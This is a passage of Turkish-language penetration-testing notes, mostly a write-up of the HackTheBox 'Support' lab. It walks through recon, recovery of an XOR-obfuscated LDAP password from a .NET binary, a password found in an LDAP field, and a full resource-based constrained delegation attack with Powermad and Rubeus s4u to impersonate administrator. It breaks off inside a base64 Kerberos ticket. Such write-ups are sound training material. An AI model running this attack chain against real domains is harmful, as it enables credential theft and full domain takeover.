aramayı gerçekleştirebilir. Password policy'yi hızlı bir şekilde elde edebiliriz.
python3 ldapsearch-ad.py -l 10.129.1.207 -d inlanefreight -u james.cross -p Summer2020
-t pass-pols
### Result of "pass-pols" command ###
Default password policy:
[+] Minimum password length: 7
[+] Password complexity: Disabled
[*] Lockout threshold: Disabled
[+] No fine grained password policy found (high privileges are required).
Kerberoasting saldırısına maruz kalabilecek kullanıcıları arayabiliriz
python3 ldapsearch-ad.py -l 10.129.1.207 -d inlanefreight -u james.cross -p Summer2020
-t kerberoast | grep servicePrincipalName:
servicePrincipalName:
- CIFS/roguecomputer.inlanefreight.local
- MSSQLSvc/sql01:1433
- MSSQL_svc_qa/inlanefreight.local:1443
- MSSQL_svc_test/inlanefreight.local:1443
- IIS_dev/inlanefreight.local:80
Ayrıca, ASREPRoasted olabilecek kullanıcıları hızlı bir şekilde alır.
python3 ldapsearch-ad.py -l 10.129.1.207 -d inlanefreight -u james.cross -p Summer2020
-t asreproast
### Result of "asreproast" command ###
[*] DN: CN=Amber Smith,OU=Contractors,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
Status: Read
Read Time: 2020-09-02T17:11:45.572421
cn: Amber Smith
sAMAccountName: amber.smith
[*] DN: CN=Jenna Smith,OU=Server Team,OU=IT,OU=Employees,DC=INLANEFREIGHT,DC=LOCAL
Status: Read
Read Time: 2020-09-02T17:11:45.572729
cn: Jenna Smith
sAMAccountName: jenna.smith
LDAP Özeti
LDAP kullanarak önemli miktarda AD enumeration gerçekleştirmek için bu bölümde
gösterilen iki tool gibi tool'ları kullanabiliriz. Tool'lar, aramayı basitleştirmek ve bize en yararlı
ve eyleme geçirilebilir verileri sağlamak için birçok built-in sorguya sahiptir. Bu araçları,
konunun başlarında öğrendiğimiz özel LDAP arama filtreleriyle de birleştirebiliriz. Bunlar
cephaneliğimizde bulundurmamız gereken harika araçlardır, özellikle de AD
değerlendirmesinin çoğunun bir Linux attack host'dan yapılması gereken bir konumda
olduğumuzda.
HTB: Support
Recon
nmap
nmap birçok açık TCP portu bulur:
$ nmap -p- --min-rate 10000 10.10.11.174
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-14 20:52 UTC
Nmap scan report for 10.10.11.174
Host is up (0.088s latency).
Not shown: 65517 filtered ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49668/tcp open unknown
49674/tcp open unknown
49686/tcp open unknown
49700/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 13.55 seconds
$ nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sCV 10.10.11.174
Starting Nmap 7.80 ( https://nmap.org ) at 2022-12-14 21:05 UTC
Nmap scan report for 10.10.11.174
Host is up (0.088s latency).
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-12-14
21:05:12Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain:
support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain:
support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
1 service unrecognized despite returning data. If you know the service/version, please
submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=12/14%Time=639A3A8D%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version
SF:\x04bind\0\0\x10\0\x03");
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-12-14T21:07:32
|_ start_date: N/A
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 305.61 seconds
Bu açıkça bir Windows hostu ve Kerberos (88), DNS (53), LDAP (389, 3268 ve 3269) vb.
varlığına dayanarak muhtemelen bir Domain Controller. nmap bunun ötesinde fazla ayrıntı
vermiyor. DC host adını ve support.htb domainini not ediyor, bu yüzden her ikisini de
/etc/hosts dosyama ekleyeceğim:
10.10.11.174 dc.support.htb support.htb
Enumeration Strategy
Çok sayıda porta sahip bir Windows sunucusuyla karşılaştığımda, genellikle rahatlık
seviyeme göre öncelik sırasına göre çalışmaya başlarım. Her birinde ne arayabileceğime dair
bazı kabaca fikirlerle birlikte katmanlı bir liste oluştururum:
Bakmalısınız:
SMB - Herhangi bir açık paylaşım arayın ve orada ne bulabileceğime bakın.
LDAP - Kimlik bilgileri olmadan herhangi bir bilgi alabilir miyim?
Eğer bunlar başarısız olursa
Kerberos - Kullanıcı adlarını brute force yapabilir miyim? Eğer bulursam, AS-REP-Roast
yapılabilir mi?
DNS - Zone transferi yapabilir miyim? Herhangi bir alt domain'i brute force yapabilir
miyim?
RPC - Anonim erişim mümkün mü?
Creds için not
WinRM - Remote Management Users grubundaki bir kullanıcının yetkilerini bulabilirsem,
bir shell alabilirim
LDAP - TCP 389
Support'tan base naming context'leri almak için ldapsearch kullanacağım:
ldapsearch -h support.htb -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingcontexts: DC=support,DC=htb
namingcontexts: CN=Configuration,DC=support,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=support,DC=htb
namingcontexts: DC=DomainDnsZones,DC=support,DC=htb
namingcontexts: DC=ForestDnsZones,DC=support,DC=htb
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
Ne yazık ki, daha fazla arama yapmak için kimlik doğrulamasına (“başarılı bir bind”) ihtiyacım
olduğunu söylüyor:
$ ldapsearch -h support.htb -x -b "DC=support,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=support,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5A, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4f7c
# numResponses: 1
SMB - TCP 445
General Info
crackmapexec host adını (DC) ve domain'i (support.htb) gösterir
$ crackmapexec smb support.htb
SMB dc.support.htb 445 DC [*] Windows 10.0 Build 20348 x64
(name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
Shares
crackmapexec herhangi bir share listeleyemiyor:
$ crackmapexec smb support.htb --shares
SMB dc.support.htb 445 DC [*] Windows 10.0 Build 20348 x64
(name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB dc.support.htb 445 DC [-] Error enumerating shares:
STATUS_USER_SESSION_DELETED
$ smbclient -N -L //support.htb
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
support-tools Disk support staff tools
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
Creds olmadan üç administrative paylaşımına bağlanamıyorum.
NETLOGON ve SYSVOL'a bağlanabiliyorum, ancak bunları listeleyemiyorum:
$ smbclient -N //support.htb/NETLOGON
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
$ smbclient -N //support.htb/SYSVOL
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
support-tools
Support-tools paylaşımına bağlanabiliyorum ve listeleyebiliyorum:
$ smbclient -N //support.htb/support-tools
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jul 20 17:01:06 2022
.. D 0 Sat May 28 11:18:25 2022
7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 11:19:19 2022
npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 11:19:55 2022
putty.exe A 1273576 Sat May 28 11:20:06 2022
SysinternalsSuite.zip A 48102161 Sat May 28 11:19:31 2022
UserInfo.exe.zip A 277499 Wed Jul 20 17:01:07 2022
windirstat1_1_2_setup.exe A 79171 Sat May 28 11:20:17 2022
WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 11:19:43 2022
4026367 blocks of size 4096. 969835 blocks available
Sadece bir grup support tool'una benziyor. UserInfo.exe hariç, bunların hepsi public olarak
kullanılabilen tool'lardır. O dosyayı alacağım:
smb: \> get UserInfo.exe.zip
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (424.1
KiloBytes/sec) (average 424.1 KiloBytes/sec)
Arşivde çoğunlukla dinamik kütüphaneler olmak üzere bir dizi dosya ve ayrıca bir executable
dosyası bulunmaktadır:
$ unzip -l UserInfo.exe.zip
Archive: UserInfo.exe.zip
Length Date Time Name
--------- ---------- ----- ----
12288 2022-05-27 17:51 UserInfo.exe
99840 2022-03-01 18:18 CommandLineParser.dll
22144 2021-10-22 23:42 Microsoft.Bcl.AsyncInterfaces.dll
47216 2021-10-22 23:48
Microsoft.Extensions.DependencyInjection.Abstractions.dll
84608 2021-10-22 23:48 Microsoft.Extensions.DependencyInjection.dll
64112 2021-10-22 23:51 Microsoft.Extensions.Logging.Abstractions.dll
20856 2020-02-19 10:05 System.Buffers.dll
141184 2020-02-19 10:05 System.Memory.dll
115856 2018-05-15 13:29 System.Numerics.Vectors.dll
18024 2021-10-22 23:40 System.Runtime.CompilerServices.Unsafe.dll
25984 2020-02-19 10:05 System.Threading.Tasks.Extensions.dll
563 2022-05-27 16:59 UserInfo.exe.config
--------- -------
652675 12 files
Bir dizine çıkaracağım:
$ mkdir UserInfo
$ unzip UserInfo.exe.zip -d UserInfo
Archive: UserInfo.exe.zip
inflating: UserInfo/UserInfo.exe
inflating: UserInfo/CommandLineParser.dll
inflating: UserInfo/Microsoft.Bcl.AsyncInterfaces.dll
inflating: UserInfo/Microsoft.Extensions.DependencyInjection.Abstractions.dll
inflating: UserInfo/Microsoft.Extensions.DependencyInjection.dll
inflating: UserInfo/Microsoft.Extensions.Logging.Abstractions.dll
inflating: UserInfo/System.Buffers.dll
inflating: UserInfo/System.Memory.dll
inflating: UserInfo/System.Numerics.Vectors.dll
inflating: UserInfo/System.Runtime.CompilerServices.Unsafe.dll
inflating: UserInfo/System.Threading.Tasks.Extensions.dll
inflating: UserInfo/UserInfo.exe.config
Auth as ldap
UserInfo.exe
Run UserInfo.exe
EXE, 32 bitlik bir .NET executable dosyasıdır:
$ file UserInfo.exe
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Bir Windows VM'sine geçerek UserInfo.exe 'yi çalıştırmak help bilgilerini döndürür:
PS > .\UserInfo.exe
Usage: UserInfo.exe [options] [commands]
Options:
-v|--verbose Verbose output
Commands:
find Find a user
user Get information about a user
Tüm DLL'ler ve .config dosyası aynı dizinde olmalıdır, aksi takdirde aşağıdaki gibi bir hata
döndürür:
PS > .\UserInfo.exe
Unhandled Exception: System.IO.FileNotFoundException: Could not load file or assembly
'CommandLineParser, Version=0.7.0.0, Culture=neutral, PublicKeyToken=null' or one of
its dependencies. The system cannot find the file specified.
at UserInfo.Program.Main(String[] args)
at UserInfo.Program.<Main>(String[] args)
Eğer find ya da user komutlarını -h ile çalıştırırsam, her biri için help yazdırıyor. Örneğin:
Her iki komut da bir süre takılır ve ardından çalıştırıldığında bir hata döndürür:
PS > .\UserInfo.exe user -username 0xdf
[-] Exception: The server is not operational.
Network
Sunucudan bahsedildiği için Wireshark'ı açıp tekrar çalıştıracağım. Support.htb 'yi arıyor:
Linux'ta olduğu gibi C:\Windows\System32\drivers\etc\hosts 'u güncelleyeceğim ve VPN'imi bu
Windows hostuna bağlayacağım, böylece Support ile konuşabileceğim. Şimdi kullanıcı adımı
bulamadığını bildiriyor:
PS > .\UserInfo.exe user -username asd123
[-] Unable to locate asd123. Please try the find command to get the user's username.
find için ya -first ya da -last gerekir:
PS > .\UserInfo.exe -v find
[-] At least one of -first or -last is required.
PS > .\UserInfo.exe find -first john
[-] No users identified with that query.
-v ile, kullandığı LDAP sorgusunu yazdırır:
PS > .\UserInfo.exe -v find -first john
[*] LDAP query to use: (givenName=john)
[-] No users identified with that query.
Basit bir LDAP enjeksiyonu yaparak ilk adı olan tüm kullanıcıları alabilirim:
PS > .\UserInfo.exe find -first '*'
raven.clifton
anderson.damian
monroe.david
cromwell.gerard
west.laura
levine.leopoldo
langley.lucy
daughtler.mabel
bardot.mary
stoll.rachelle
thomas.raphael
smith.rosario
wilson.shelby
hernandez.stanley
ford.victoria
Geçerli bir adla, kullanıcı hakkında bir support ekibinin ihtiyaç duyabileceği bilgileri yazdırır:
PS > .\UserInfo.exe user -username smith.rosario
First Name: rosario
Last Name: smith
Contact: smith.rosario@support.htb
Last Password Change: 5/28/2022 7:12:19 AM
Recover LDAP Password
Static
LDAP enjeksiyonuna daha fazla girebilirdim, ancak Support'a karşı LDAP sorguları yaptığını
ve bu sorguların kimlik doğrulaması gerektirdiğini zaten gösterdiğimi göz önünde
bulundurarak, kimlik bilgilerini bulmak için binary'ye bakacağım.
DNSpy'de UserInfo.exe dosyasını açacağım.
LdapQuery başlamak için iyi bir nokta gibi görünüyor. İki fonksiyon bulunuyor: printUser ve
query , bunlar muhtemelen iki komutla eşleşiyor. En ilginç kısım ise yapıcı (constructor):
public LdapQuery()
{
string password = Protected.getPassword();
this.entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap",
password);
this.entry.AuthenticationType = AuthenticationTypes.Secure;
this.ds = new DirectorySearcher(this.entry);
}
Bir parola yüklüyor ve ardından SUPPORT\ldap kullanıcısı ve bu parola ile LDAP'a bağlanıyor.
Protected.getPassword() fonksiyonuna (ve aslında tüm sınıfa) bakmam gerekiyor:
using System;
using System.Text;
namespace UserInfo.Services
{
// Token: 0x02000006 RID: 6
internal class Protected
{
// Token: 0x0600000F RID: 15 RVA: 0x00002118 File Offset: 0x00000318
public static string getPassword()
{
byte[] array = Convert.FromBase64String(Protected.enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^
223);
}
return Encoding.Default.GetString(array2);
}
// Token: 0x04000005 RID: 5
private static string enc_password =
"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
// Token: 0x04000006 RID: 6
private static byte[] key = Encoding.ASCII.GetBytes("armando");
}
}
Bir Python terminali kullanarak şifrenin şifresini çözeceğim:
$ python
Python 3.8.10 (default, Mar 15 2022, 12:22:08)
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from base64 import b64decode
>>> from itertools import cycle
>>> pass_b64 = b"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
>>> key = b"armando"
>>> enc = b64decode(pass_b64)
>>> [e^k^223 for e,k in zip(enc, cycle(key))]
[110, 118, 69, 102, 69, 75, 49, 54, 94, 49, 97, 77, 52, 36, 101, 55, 65, 99, 108, 85,
102, 56, 120, 36, 116, 82, 87, 120, 80, 87, 79, 49, 37, 108, 109, 122]
>>> bytearray([e^k^223 for e,k in zip(enc, cycle(key))]).decode()
'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
Dynamic
Linux sistemimde, bu binary'yi çalıştırmak için de kullanılabilen mono binary ile birlikte gelen
.NET framework yüklü. Wireshark'ı açıp binary'yi çalıştırırsam, LDAP akışındaki kimlik
doğrulamasını yakalayacağım:
Bu, Wireshark'ın “bindRequest” olarak etiketlediği pakette de görülebilir:
İlginç bir şekilde, bu Windows üzerinde çalışmıyor.
Verify Creds
crackmapexec , bu credlerin çalıştığını hızlı bir şekilde göstermenin güzel bir yoludur:
$ crackmapexec smb support.htb -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
SMB dc.support.htb 445 DC [*] Windows 10.0 Build 20348 x64
(name:DC) (domain:support.htb) (signing:True) (SMBv1:False)
SMB dc.support.htb 445 DC [+]
support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
Shell as support
BloodHound
Windows'ta ne zaman creds bulsam Bloodhound'u çalıştırırım. Shell'im olmadığı için Python
versiyonunu kullanacağım:
$ bloodhound-python -c ALL -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d
support.htb -ns 10.10.11.174
INFO: Found AD domain: support.htb
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc.support.htb
INFO: Found 21 users
INFO: Found 53 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Management.support.htb
INFO: Querying computer: dc.support.htb
INFO: Done in 00M 13S
Bu bilgiyi Bloodhound'a yükleyeceğim ve ldap'ı sahip olunan olarak işaretleyeceğim.
Outbound kontrolüne baktığımda, gerçekten ilginç bir şey yok.
LDAP
ldapsearch AD'deki tüm öğeleri gösterecek ve ben de bu öğelere bakabileceğim:
$ ldapsearch -h support.htb -D 'ldap@support.htb' -w
'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb"| less
İlginç bir info field'a sahip support adında bir kullanıcı var:
# support, Users, support.htb
dn: CN=support,CN=Users,DC=support,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: support
c: US
l: Chapel Hill
st: NC
postalCode: 27514
distinguishedName: CN=support,CN=Users,DC=support,DC=htb
instanceType: 4
whenCreated: 20220528111200.0Z
whenChanged: 20220528111201.0Z
uSNCreated: 12617
info: Ironside47pleasure40Watchful
memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
uSNChanged: 12630
company: support
streetAddress: Skipper Bowles Dr
name: support
...[snip]...
“ Ironside47pleasure40Watchful ” bir parola olabilir gibi görünüyor ve ad veya soyadı olmadığı
için bu paylaşılan bir hesap gibi görünüyor, bu nedenle parolanın burada saklanması mantıklı.
Aynı bilgiyi ldapdomaindump ile de görebiliyordum:
$ ldapdomaindump -u support.htb\\ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
support.htb -o ldap
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
Info , .json dosyasında görünüyor, ancak .html dosyasında yer almıyor, bunu belirtmek
önemlidir.
$ grep Ironside *
domain_users.json: "Ironside47pleasure40Watchful"
Evil-WinRM
Bloodhound verilerine bakıldığında, destek orada Remote Management Users üyesi olarak
görünüyor:
crackmapexec onaylıyor:
$ crackmapexec winrm support.htb -u support -p 'Ironside47pleasure40Watchful'
SMB dc.support.htb 5985 DC [*] Windows 10.0 Build 20348
(name:DC) (domain:support.htb)
HTTP dc.support.htb 5985 DC [*]
http://dc.support.htb:5985/wsman
WINRM dc.support.htb 5985 DC [+]
support.htb\support:Ironside47pleasure40Watchful (Pwn3d!)
Evil-winrm ile bağlantı kurup bir shell alacağım:
$ evil-winrm -i support.h -u support -p 'Ironside47pleasure40Watchful'
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\support\Documents>
Shell as domainadmin
Enumeration
Bloodhound verilerine tekrar bakıldığında, Support kullanıcısı DC.SUPPORT.HTB bilgisayar
object'i üzerinde GenericAll 'a sahip Shared Support Accounts grubunun bir üyesidir:
Get Domain TGT
SpectorOps'un bu videosu, tam domain erişimi elde etmek için bu ayrıcalığın nasıl kötüye
kullanılacağını gösteriyor ve izlemeye değer:
Bu Gist'te komutlar da bulunmaktadır.
Resource-Based Constrained Delegation’ı kötüye kullanacağım. Öncelikle, kontrolüm altında
sahte bir computer ekleyerek bunu domaine dahil edeceğim. Daha sonra, DC gibi davranarak
sahte computer için Kerberos ticket'ları talep edebilir ve Administrator gibi diğer hesapları
taklit etme yeteneği kazanabilirim. Bunun çalışması için, domaine machine ekleyebilen yetkili
bir kullanıcıya ihtiyacım var (varsayılan olarak her kullanıcı en fazla 10 machine ekleyebilir).
Bu, ms-ds-machineaccountquota attribute'u 0 ’dan büyük olduğu sürece mümkündür. Son
olarak, domaine bağlı bir computer üzerinde write ayrıcalıklarına ihtiyacım var (DC üzerinde
GenericALL yetkisine sahip olmam bunu sağlar).
Pull in Support Scripts / Exe
Bu saldırıyı tamamlamak için üç senaryoya ihtiyacım var:
PowerView.ps1
PowerMad.ps1
Rubeus.exe ('den önceden derlenmiş exe'ler SharpCollection)
Bunları yükleyeceğim ve iki PowerShell scriptini oturumuma aktaracağım:
*Evil-WinRM* PS C:\programdata> upload /opt/PowerSploit/Recon/PowerView.ps1
Info: Uploading /opt/PowerSploit/Recon/PowerView.ps1 to C:\programdata\PowerView.ps1
Data: 1027036 bytes of 1027036 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\programdata> upload /opt/Powermad/Powermad.ps1
Info: Uploading /opt/Powermad/Powermad.ps1 to C:\programdata\Powermad.ps1
Data: 180780 bytes of 180780 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\programdata> upload
/opt/SharpCollection/NetFramework_4.5_x64/Rubeus.exe
Info: Uploading /opt/SharpCollection/NetFramework_4.5_x64/Rubeus.exe to
C:\programdata\Rubeus.exe
Data: 369320 bytes of 369320 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\programdata> . .\PowerView.ps1
*Evil-WinRM* PS C:\programdata> . .\Powermad.ps1
Verify Environment
Bloodhound'un bana administrator@support.htb olduğunu söylediği DC'deki administrator'u
bilmem gerekecek:
Kullanıcıların domain'e makine ekleyebildiğini doğrulayacağım:
*Evil-WinRM* PS C:\programdata> Get-DomainObject -Identity 'DC=SUPPORT,DC=HTB' |
select ms-ds-machineaccountquota
ms-ds-machineaccountquota
-------------------------
10
Quote varsayılan olarak 10’a ayarlanmış, bu iyi.
Ayrıca, ortamda 2012+ bir DC olduğundan emin olmam gerekecek:
*Evil-WinRM* PS C:\programdata> Get-DomainController | select name,osversion | fl
Name : dc.support.htb
OSVersion : Windows Server 2022 Standard
2022 Standardı harika.
Son olarak, msds-allowedtoactonbehalfofotheridentity 'nin empty olup olmadığını kontrol
etmek istiyorum:
*Evil-WinRM* PS C:\programdata> Get-DomainComputer DC | select name,msds-
allowedtoactonbehalfofotheridentity | fl
name : DC
msds-allowedtoactonbehalfofotheridentity :
Öyle.
Create FakeComputer
Sahte bir bilgisayar oluşturmak için Powermad New-MachineAccount 'u kullanacağım:
*Evil-WinRM* PS C:\programdata> New-MachineAccount -MachineAccount 0xdfFakeComputer -
Password $(ConvertTo-SecureString '0xdf0xdf123' -AsPlainText -Force)
[+] Machine account 0xdfFakeComputer added
Bilgisayar object'inin SID'sine de ihtiyacım var, bu yüzden onu bir değişkene kaydedeceğim:
*Evil-WinRM* PS C:\programdata> $fakesid = Get-DomainComputer 0xdfFakeComputer |
select -expand objectsid
*Evil-WinRM* PS C:\programdata> $fakesid
S-1-5-21-1677581083-3380853377-188903654-1121
Attack
Şimdi DC'yi kendi adına yetkilendirme kararları vermesi için sahte bilgisayarıma güvenecek
şekilde yapılandıracağım. Bu komutlar sahte bilgisayarın SID'si ile bir ACL oluşturacak ve
bunu DC'ye atayacaktır:
*Evil-WinRM* PS C:\programdata> $SD = New-Object
Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($fakesid))"
*Evil-WinRM* PS C:\programdata> $SDBytes = New-Object byte[] ($SD.BinaryLength)
*Evil-WinRM* PS C:\programdata> $SD.GetBinaryForm($SDBytes, 0)
*Evil-WinRM* PS C:\programdata> Get-DomainComputer $TargetComputer | Set-DomainObject
-Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
İşe yaradığını doğrulayacağım:
*Evil-WinRM* PS C:\programdata> $RawBytes = Get-DomainComputer DC -Properties 'msds-
allowedtoactonbehalfofotheridentity' | select -expand msds-
allowedtoactonbehalfofotheridentity
*Evil-WinRM* PS C:\programdata> $Descriptor = New-Object
Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
*Evil-WinRM* PS C:\programdata> $Descriptor.DiscretionaryAcl
BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 983551
SecurityIdentifier : S-1-5-21-1677581083-3380853377-188903654-1121
AceType : AccessAllowed
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
Fake bilgisayarımın SecurityIdentifier 'ına sahip bir ACL var ve AccessAllowed diyor.
Bloodhound'u da tekrar çalıştırabilirim:
$ bloodhound-python -c ALL -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d
support.htb -ns 10.10.11.174
...[snip]...
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: 0xdfFakeComputer.support.htb
INFO: Querying computer: dc.support.htb
WARNING: Could not resolve: 0xdfFakeComputer.support.htb: The DNS query name does not
exist: 0xdfFakeComputer.support.htb.
INFO: Done in 00M 14S
0xdfFakeComputer.support.htb dosyasını bulamadığını söylüyor ki bu mantıklı. Bu yeni izni
gösteriyor:
Auth as Fake Computer
Rubeus'u sahte bilgisayar hesabımın hash'ini almak için kullanacağım:
*Evil-WinRM* PS C:\programdata> .\Rubeus.exe hash /password:0xdf0xdf123
/user:0xdfFakeComputer /domain:support.htb
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.4
[*] Action: Calculate Password Hash(es)
[*] Input password : 0xdf0xdf123
[*] Input username : 0xdfFakeComputer
[*] Input domain : support.htb
[*] Salt : SUPPORT.HTB0xdffakecomputer
[*] rc4_hmac : B1809AB221A7E1F4545BD9E24E49D5F4
[*] aes128_cts_hmac_sha1 : F7A01B9628299B9FB8A93CFCCF8E747C
[*] aes256_cts_hmac_sha1 :
90499A3696F8B07B9CDB02E919F193768519340F7812F6050177E6997262B6F0
[*] des_cbc_md5 : 76EF4F97ADD99176
Bana rc4_hmac etiketli olan lazım, onu Rubeus 'a verip administrator ticket'ı alacağım:
*Evil-WinRM* PS C:\programdata> .\Rubeus.exe s4u /user:0xdfFakeComputer$
/rc4:B1809AB221A7E1F4545BD9E24E49D5F4 /impersonateuser:administrator
/msdsspn:cifs/dc.support.htb /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.4
[*] Action: S4U
[*] Using rc4_hmac hash: B1809AB221A7E1F4545BD9E24E49D5F4
[*] Building AS-REQ (w/ preauth) for: 'support.htb\0xdfFakeComputer$'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFvjCCBbqgAwIBBaEDAgEWooIEzTCCBMlhggTFMIIEwaADAgEFoQ0bC1NVUFBPUlQuSFRCoiAwHqAD
AgECoRcwFRsGa3JidGd0GwtzdXBwb3J0Lmh0YqOCBIcwggSDoAMCARKhAwIBAqKCBHUEggRxOeKt6Ird
teB+aO1v2heZp/GctaiPKQ3PL7uv6vECkSfrJZ96wZxhiTn96yEK0iBG6iu/lW45R67fkTiYVjrCwJ2x
0Iv4AVbat5CjivLd2vBB3P8TMt/2yS3dFuDHxRxt43pJY/BCMq867ckAYrmVJZkV4J2Gr+bhLCrX0iEN
9gX7iTMtKRrE9Pb6hZsu4CUpxMs8UpgJXI+kvKgE7EXwVTd5sIWNHjIu5Lvpuqk8jx98Zy11md6ZvcTc
qbWis+ZIb/BSHdu35F4TtpMt48RZdeoXvrFcmYbzfzi3yVSZ8I3T50v2HdZj9GaGWknvCSUpGLsrW42P
cfVBy3cvx9nfVTgNlF0mFMl1NOkf41HsixyBoJjLay2oxAJOmfZDGdjzA88rlx5Ox0z6Llj8RsmsJz6q
59turK4Kaa7zUGxIMFhb+Snxb2YJm3HAVxdOsxnynQOpAWdOU8lztOaGiM9x6d0VADbvt0QJAjdJkFw4
sbK6wQ8/Ptu02FCseBd2aUII0AAWFiWwrECPbGeHv/0tqP67Q8BhQNXF6QN7wGJQmLAz8f5a5KaX9Vo6
2plegvVBrfxQ2SY5wN5xosvUC+U2MX636+8N68TRQca3nFGn3E7Du8sDwPUuK2m/POgWcP4UDixT0cXr
PcnQOSc/FhukCBqLLMjdGgojyZoF5FHUwpDGfugZ4G0WcrLeZd/L4AhHw395gr3AeFCCawQ9XaUTjlOR
oh2S3UJCZIizzk7Wiq320lYSFc2m0lMIPYr8i/70DAdlOUus6K2zArE2NnATqHKO6vAs7fy1p+KmF3B/
